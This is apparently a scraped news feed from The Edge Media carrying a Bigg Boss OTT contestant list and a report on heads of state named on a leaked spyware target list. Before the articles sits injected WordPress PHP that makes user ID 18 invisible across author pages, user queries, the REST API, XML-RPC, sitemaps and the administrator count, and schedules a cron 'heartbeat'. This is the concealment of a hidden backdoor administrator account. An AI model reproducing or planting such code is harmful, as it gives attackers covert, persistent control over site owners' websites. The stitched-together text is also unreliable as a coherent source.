add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Here’s the list of contestants who are most likely to be seen on BB OTT appeared first on The Edge Media.
]]>The show will launch on the OTT platform ahead of its television premiere. The first six weeks of the six-month run of Bigg Boss 15 is called BB OTT. The show hosted by Karan Johar will premiere on Voot on August 8.
Here’s the list of contestants who are most likely to be seen on Bigg Boss OTT:
1. Neha Bhasin
2. Zeeshan Khan
3. Karan Nath
4. Akshara Singh
5. Divya Agarwal
6. Nishant Bhat
7. Raqesh Bapat
8. Ridhima Pandit
9. Milind Gaba
10. Pratik Sehajpal
While Neha Bhasin and Milind Gaba are singers, Nishant Bhat is a choreographer, who has been associated with many popular dance reality shows. Akshara Singh is a popular Bhojpuri star. Pratik Sehajpal and Divya Agarwal are reality TV stars who have appeared before on MTV Ace of Space.
Karan Nath is known for his films Yeh Dil Aashiqana and Pagalpan. Zeeshan Khan is a social media influencer, who was recently in the news for trying to board a flight in a bathrobe. Ridhima Pandit is a popular TV actress who has worked in shows like Bahu Hamari Rajni Kant and Hum – I’m Because of Us.
Bigg Boss OTT will be hosted by filmmaker Karan Johar. Salman Khan will take over the show on TV.
The post Here’s the list of contestants who are most likely to be seen on BB OTT appeared first on The Edge Media.
]]>The post French President Emmanuel Macron among 14 heads of states on potential spyware list appeared first on The Edge Media.
]]>“The unprecedented revelation … should send a chill down the spine of world leaders,” Amnesty’s secretary general, Agnes Callamard, said in a statement on Tuesday.
Among potential targets found on a list of 50,000 phone numbers leaked to Amnesty and the Paris-based journalism nonprofit Forbidden Stories include Presidents Imran Khan of Pakistan, Cyril Ramaphosa of South Africa and Barham Salih of Iraq. Three current Prime Ministers and the king of Morocco, Mohammed VI, are also on the list, The Washington Post reported.
The post French President Emmanuel Macron among 14 heads of states on potential spyware list appeared first on The Edge Media.
]]>